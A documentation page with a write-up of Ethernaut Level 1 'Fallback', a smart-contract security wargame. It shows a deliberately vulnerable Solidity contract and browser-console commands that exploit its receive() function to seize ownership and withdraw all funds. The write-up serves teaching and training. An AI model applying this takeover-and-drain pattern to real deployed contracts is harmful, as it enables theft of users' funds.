Eridian
eridian.xyzx.comGitHub
  • ๐Ÿ“–Eridian Docs
  • Ethereum Dev
    • โœ๏ธEthereum Notes
      • ๐ŸŽ›๏ธTechnical Basics
      • ๐ŸชงEthereum Addresses
      • ๐Ÿ“šEthereum State Explained
      • โ›ฝGas Fees Explained
    • ๐Ÿ”งUseful Tools
      • โ˜๏ธEthers
      • *๏ธโƒฃEthernal
    • ๐Ÿ“Solidity Notes
      • โ”Interview Questions
        • ๐ŸŸข1. Easy - Interview Questions
        • ๐ŸŸ 2. Medium - Interview Questions
        • ๐ŸŸก3. Hard - Interview Questions
        • ๐Ÿ”ด4. Advanced - Interview Questions
      • ๐Ÿ’กNote Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • ๐Ÿ—๏ธExternal Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • โš’๏ธFoundry Notes
      • ๐Ÿ“–Docs & GitHub Pages
      • ๐ŸคUseful Commands
        • ๐Ÿ”จAnvil
        • ๐Ÿช„Cast
        • ๐Ÿ”ฅForge
      • ๐ŸงชTests
        • Cheatcodes
      • ๐Ÿ“Useful Scripts
        • Deploy Contract Using Hex
    • ๐Ÿ‘พDeFi Challenges
      • ๐Ÿ‘จโ€๐Ÿš€Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback โบ
        • Level 2 - Fallout โบ
        • Level 3 - Coin Flip โบโบ
        • Level 4 - Telephone โบ
        • Level 5 - Token โบโบ
        • Level 6 - Delegation โบโบ
        • Level 7 - Force โบโบโบ
        • Level 8 - Vault โบโบ
        • Level 9 - King โบโบโบ
        • Level 10 - Re-entrancy โบโบโบ
        • Level 11 - Elevator โบโบ
        • Level 12 - Privacy โบโบโบ
        • Level 13 - Gatekeeper 1 โบโบโบโบ
        • Level 14 - Gatekeeper 2 โบโบโบ
        • Level 15 - Naught Coin โบโบโบ
        • Level 16 - Preservation โบโบโบโบ
        • Level 17 - Recovery โบโบโบ
        • Level 18 - Magic Number โบโบโบ
        • Level 19 - Alien Codex โบโบโบโบ
        • Level 20 - Denial โบโบโบ
        • Level 21 - Shop โบโบ
        • Level 22 - Dex โบโบ
        • Level 23 - Dex Two โบโบ
        • Level 24 - Puzzle Wallet โบโบโบโบ
        • Level 25 - Motorbike โบโบโบ
        • Level 26 - DoubleEntryPoint โบโบ
        • Level 27 - Good Samaritan โบโบโบ
        • Level 28 - Gatekeeper 3 โบโบโบ
        • Level 29 - Switch โบโบโบโบ
        • Level 30 - Higher Order โบโบโบโบ
        • Level 31 - Stake โบโบโบ
      • ๐Ÿ’ธDamn Vulnerable DeFi
    • ๐Ÿ”Auditing
      • ๐Ÿ—ž๏ธExploit Resources
      • ๐Ÿ”งAudit Tools
    • ๐Ÿค–MEV
  • Infrastructure Docs
    • ๐Ÿ’ปHardware
    • ๐ŸงLinux
      • ๐Ÿ“–Linux Glossary
      • โŒจ๏ธLinux Commands
      • ๐Ÿ’พInstallation
      • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ–ฅ๏ธUbuntu Desktop
      • ๐Ÿ›œZeroTier
      • ๐ŸŽž๏ธTMUX
      • ๐Ÿ”ตBluetooth
    • โ›“๏ธEthereum Clients
      • โš™๏ธExecution Clients
        • โ›๏ธGeth
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸปErigon
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸงถBesu
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐ŸคBeacon Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐Ÿช…Teku
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ŽValidator Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • โž•L2 Clients
        • ๐Ÿ”ตBase
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ฐMEV Boost
        • ๐Ÿ’พInstallation
        • ๐Ÿ—๏ธMaintenance
    • ๐ŸšจAlerting and Monitoring
      • ๐Ÿ”ฅPrometheus
      • ๐ŸŒก๏ธHealthChecks.io
      • ๐Ÿ“ŸPagerDuty
  • General Dev
    • ๐Ÿ’พGit Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 1 - Fallback โบ

Last updated 1 year ago

Level Setup

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract

  2. you reduce its balance to 0

Things that might help:

  • How to send ether when interacting with an ABI

  • How to send ether outside of the ABI

  • Converting to and from wei/ether units (see help() command)

  • Fallback methods

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Exploit

The exploit in this contract is in the receive() function as it changes the owner to any msg.sender provided that the msg.sender has previously been added to the contributions mapping.

  1. Start by contributing to the contract as this is needed to pass the require check in the receive() function. The contribution must be less than 0.001 ETH to pass the require on the contribute() function (line 23).

Paste into Chrome JavaScript console
await contract.contribute({
    value: toWei('0.0005'),
})
Paste into Chrome JavaScript console
await sendTransaction({
    to: contract.address,
    from: player,
    value: toWei('0.0001')
})
  1. Now you are the owner, withdraw all the funds.

Paste into Chrome JavaScript console
await contract.withdraw()
  1. Submit instance... ๐Ÿฅณ

Completion Message

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.

You've also learned about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.

Move on to the next level when you're ready!

Notes

  • This exploit shows how logic in the receive() function should be carefully reviewed as even though it can't be easily called through a standard contract function call, it's still possible to call it.

  • The logic doesn't make much sense as I don't see what was trying to be achieved. Maybe to have a "secret" way to change the owner?

Become the owner by sending an amount of ETH directly to the contract which will the receive() function (line 38).

๐Ÿ‘พ
๐Ÿ‘จโ€๐Ÿš€
get picked up by
The EthernautOpenZeppelin
Logo
ethernaut/contracts/src/levels/Fallback.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd ยท OpenZeppelin/ethernautGitHub
Logo